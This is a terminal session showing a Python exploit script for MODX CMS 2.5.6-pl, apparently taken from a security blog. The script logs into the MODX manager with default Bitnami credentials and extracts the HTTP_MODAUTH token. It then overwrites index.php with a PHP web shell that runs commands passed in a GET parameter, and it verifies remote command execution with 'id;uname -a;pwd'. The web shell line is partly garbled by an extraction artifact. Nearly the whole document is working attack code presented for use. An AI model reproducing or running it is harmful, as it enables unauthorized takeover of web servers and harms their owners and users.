|
c@kali:~/src/Napalm2.2/libs$ cat shell-modxcms.py
#!/usr/bin/env python
# shell-modxcms.py - upload shell for modx 2.5.6-pl
#
# !! we need rwx in modx-webdir to go ;Z
#
# 30.05.217 @ code610 blogspot com
#
import requests
import re
target=raw_input("Hostname> ")
print '[+] Preparing tests for ' + str(target)
session = requests.session()
sesslink = target + '/manager/'
print '[+] Preparing login request...'
data_login = {
'login_context':'mgr',
'modahsh':'',
'returnUrl':'/manager/',
'username':'user',
'password':'bitnami',
'login':'1'
}
data_link = sesslink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text
if 'Logout' in loginResp:
print '[+] We are logged in ;]'
# grab HTTP_MODAUTH to build params for shelluprequest
modlink = target + '/manager/?a=media/browser'
getmod = session.get(modlink)
getmodresp = getmod.text
modfind = re.compile('auth:"(.*?)"')
modfound = re.search(modfind, loginResp)
if modfound:
token = modfound.group(1)
print '[+] Found HTTP_MODAUTH token:', token
# preparing shellup req
shell_data = {
'action':'browser/file/update',
'HTTP_MODAUTH':token,
'wctx':'',
'source':'1',
'file':'index.php',
'content':'<?php system(___FCKpd___0
GET["x"]);'
}
shheader = {'modAuth':token}
shellreq = target + '/connectors/index.php'
shellup = session.post(shellreq, data=shell_data, headers=shheader)
shresp = shellup.text
print '[+] Shell should be ready now. Verifying:'
shellme = target + '/index.php?x=id;uname -a;pwd'
shverif = requests.get(shellme)
print shverif.text
print ''
c@kali:~/src/Napalm2.2/libs$
|